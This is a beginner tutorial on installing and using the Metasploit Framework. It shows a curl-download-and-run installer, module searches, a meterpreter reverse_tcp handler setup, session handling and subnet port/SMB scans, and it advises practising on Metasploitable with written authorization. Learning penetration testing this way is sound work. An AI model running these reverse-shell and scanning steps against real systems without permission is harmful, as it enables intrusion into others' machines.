Getting Started Guide
How to Install and Use Metasploit
This guide covers installing the Metasploit Framework, navigating the console, searching for exploits, and running your first exploit against a test target.
Prerequisites
- -Linux (Kali recommended) or macOS
- -Root/sudo access
- -A deliberately vulnerable target like Metasploitable for practice
Install Metasploit
On Kali Linux, Metasploit is pre-installed. For other systems, use the installer script.
Kali (already installed)
msfconsole --versionOther Linux/macOS
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstallLaunch the Console
Start the Metasploit console. First launch initializes the database which takes a moment.
Start the database
sudo msfdb initLaunch console
msfconsoleExample output
msf6 >Note: The database stores your scan results, credentials, and session history across sessions. Always initialize it before starting.
Search for Modules
Metasploit has thousands of exploit, auxiliary, and post-exploitation modules. Search by keyword, CVE, or platform.
Search by keyword
search apacheSearch by CVE
search cve:2021-44228Search by type
search type:exploit platform:windows smbUse a Module
Select a module, configure its options, and understand what it does before running it.
Select module
use exploit/multi/handlerShow options
show optionsSet target
set RHOSTS 192.168.1.100Set payload
set PAYLOAD windows/meterpreter/reverse_tcpSet listener
set LHOST 192.168.1.50Show configuration
show optionsNote: Always review options with 'show options' before running. RHOSTS is the target, LHOST is your machine. Never run exploits against systems you don't have explicit written authorization to test.
Run and Interact
Execute the module and interact with any sessions you get.
Run the exploit
exploitList active sessions
sessions -lInteract with session
sessions -i 1Background session
backgroundAuxiliary Modules
Not everything is an exploit. Auxiliary modules handle scanning, enumeration, and information gathering.
Port scanner
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445
runSMB version scan
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
runNote: Auxiliary modules are great for the reconnaissance phase. They're less invasive than exploits and help you understand the target environment.